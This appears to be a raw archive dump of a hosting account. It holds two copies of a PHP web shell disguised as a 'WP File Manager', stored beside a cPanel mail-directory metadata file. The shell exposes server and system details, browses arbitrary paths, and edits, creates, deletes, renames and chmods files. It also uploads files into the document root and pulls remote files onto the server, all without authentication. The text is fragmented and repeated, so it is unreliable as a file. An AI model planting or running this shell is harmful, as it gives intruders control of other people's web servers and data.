"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëgazetufm/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ʙ 3BBkorab@drsupernova.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 [calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 PK’&{]„N9³§Ë§Ëkorab@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown 